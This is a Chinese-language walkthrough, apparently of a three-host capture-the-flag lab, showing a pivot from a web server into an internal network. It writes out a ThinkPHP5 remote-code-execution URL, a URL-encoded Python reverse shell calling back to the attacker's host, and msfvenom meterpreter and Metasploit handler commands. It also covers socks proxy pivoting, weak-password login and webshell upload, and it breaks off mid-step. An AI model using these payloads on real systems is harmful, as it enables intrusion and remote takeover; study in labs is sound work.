从web到内网渗透的一次过程详解从web到内网渗透的一次过程详

记一次从web到内网的渗透

拓扑图
环境介绍
渗透过程

target1
target2
taget3

记一次从web到内网的渗透
拓扑图

文章图片

环境介绍
现在有三台机器，分别为target1，target2，target3，里面分别有三个flag，每个flag的分值不同，需要通过拿下一个已知IP（target1）进而向内网里面进行渗透，最终要成功获得三台主机权限

渗透过程

target1 使用nmap进行扫描

文章图片

可以看到开启了80端口
浏览器访问目标靶机80端口

文章图片

可以看到就是apache的默认页面
使用dirb进行目录结构扫描

文章图片

发现public页面

文章图片

可以看到是thinkphp5搭建的网站，thinkphp5曾经爆过一个远程代码执行的漏洞，直接上网站寻找payload验证是否存在漏洞

http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

文章图片

可以看到确实存在漏洞，现在可以向网站里面写入一句话木马，然后用蚁剑去连接，这是一种方法，但是也可以直接去尝试反弹一个shell到kali上

kali上执行：nc -lvvp 4444浏览器中执行：http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((%22192.168.109.128%22,4444)); os.dup2(s.fileno(),0); %20os.dup2(s.fileno(),1); %20os.dup2(s.fileno(),2); p=subprocess.call([%22/bin/sh%22,%22-i%22]);

可以看到kali这边成功反弹到了一个shell

文章图片

使用python生成一个交互式的shell

文章图片

查找一下flag

文章图片

成功获得第一个flag
使用msfvenom生成一个反向的shellcode

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf

文章图片

使用python开启一个临时http服务

文章图片

靶机下载该shellcode

文章图片

然后kali打开msf，进行监听

use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lport 5555set lhost 192.168.109.128exploit

文章图片

然后靶机上给予shellcode执行的权限后执行该文件

文章图片

可以看到kali这边成功返回一个meterpreter

文章图片

查看一下网络配置

文章图片

可以看到target1还存在一个网段
添加路由表

文章图片

配置socks代理

use auxiliary/server/socks_proxyexploit

文章图片

配置proxychains代理链

vim /etc/proxychains4.conf

文章图片

target2 扫描10.1.1.0/24这个网段是否还存在其他机器

use auxiliary/scanner/portscan/tcpset rhosts 10.1.1.0/24set ports 1-1000set threads 50exploit

文章图片

可以看到该网段还存在一台机器为10.1.1.150
使用nmap扫描10.1.1.150开放端口

proxychains4 nmap -Pn -sT 10.1.1.150

文章图片

可以看到也开放了80端口
这里直接用浏览器去访问10.1.1.150的80端口显然是不行的，不过火狐浏览器也是支持socks代理的

文章图片

再次访问网站

文章图片

查看robots.txt文件

文章图片

找到后台登入位置

文章图片

直接使用弱密码admin:admin登入成功

文章图片

成功获得第二个flag，找到模板位置，发现里面的源码都是可以编辑的

文章图片

写入一句话木马

文章图片

然后使用蚁剑去连接，当然直接去连接肯定也是不行的，不过蚁剑也是支持代理设置的

文章图片

之后再正常去连接就行了，但是我这里不知道是环境问题还是蚁剑的问题，正常来说这里是肯定能连接成功的，我试了很多遍都没有成功，然后想着直接把那个页面里面的源码直接换为大马，也是不行的，因为一般大马都是经过作者编译过了，直接复制过去肯定会有问题，最后只能直接将大马事先准备在了网站根目录下面，这里主要是为了体现内网渗透，所以这里也不细说
访问大马